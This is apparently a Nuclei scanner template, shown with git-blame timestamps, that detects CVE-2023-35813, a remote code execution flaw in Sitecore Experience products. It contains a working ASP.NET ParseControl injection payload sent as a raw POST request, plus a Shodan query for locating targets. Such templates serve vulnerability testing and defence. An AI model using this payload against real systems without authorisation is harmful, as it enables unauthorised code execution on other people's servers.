2023-10-10 17:56:29 +00:00
|
|
|
id: CVE-2023-35813
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Sitecore - Remote Code Execution
|
|
|
|
author: DhiyaneshDk,iamnoooob
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
|
|
|
|
reference:
|
|
|
|
- https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1002979
|
|
|
|
- https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-35813
|
2023-10-14 11:27:55 +00:00
|
|
|
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
|
2023-10-10 17:56:29 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2023-35813
|
|
|
|
cwe-id: CWE-22,CWE-23
|
2023-11-20 10:15:32 +00:00
|
|
|
epss-score: 0.24939
|
2023-11-27 09:19:41 +00:00
|
|
|
epss-percentile: 0.96185
|
2023-10-10 17:56:29 +00:00
|
|
|
cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
|
|
|
max-request: 1
|
|
|
|
vendor: sitecore
|
|
|
|
product: experience_commerce
|
|
|
|
shodan-query: title:"Sitecore"
|
|
|
|
tags: cve,cve2023,sitecore,rce
|
|
|
|
variables:
|
|
|
|
string: "{{rand_base(6)}}"
|
|
|
|
payload: |
|
|
|
|
<%@Register
|
|
|
|
TagPrefix = 'x'
|
|
|
|
Namespace = 'System.Runtime.Remoting.Services'
|
|
|
|
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
|
|
|
|
%>
|
|
|
|
<x:RemotingService runat='server'
|
|
|
|
Context-Response-ContentType='{{string}}'
|
|
|
|
/>
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- contains(content_type, '{{string}}')
|
|
|
|
- contains_all(body, 'commands', 'command', 'value')
|
|
|
|
- status_code == 200
|
2023-10-14 11:27:55 +00:00
|
|
|
condition: and
|
2023-12-05 09:50:33 +00:00
|
|
|
|
2023-11-27 10:10:24 +00:00
|
|
|
# digest: 490a0046304402202a293d58d05b35d7566ea5be9d5c67c8ae70a3bce311ba44e866cc2259781ffd0220126064364f7344f89fd44e5e1823ca32ffbf090f2871121fd8e137cfc1a72c84:922c64590222798bb761d5b6d8e72950
|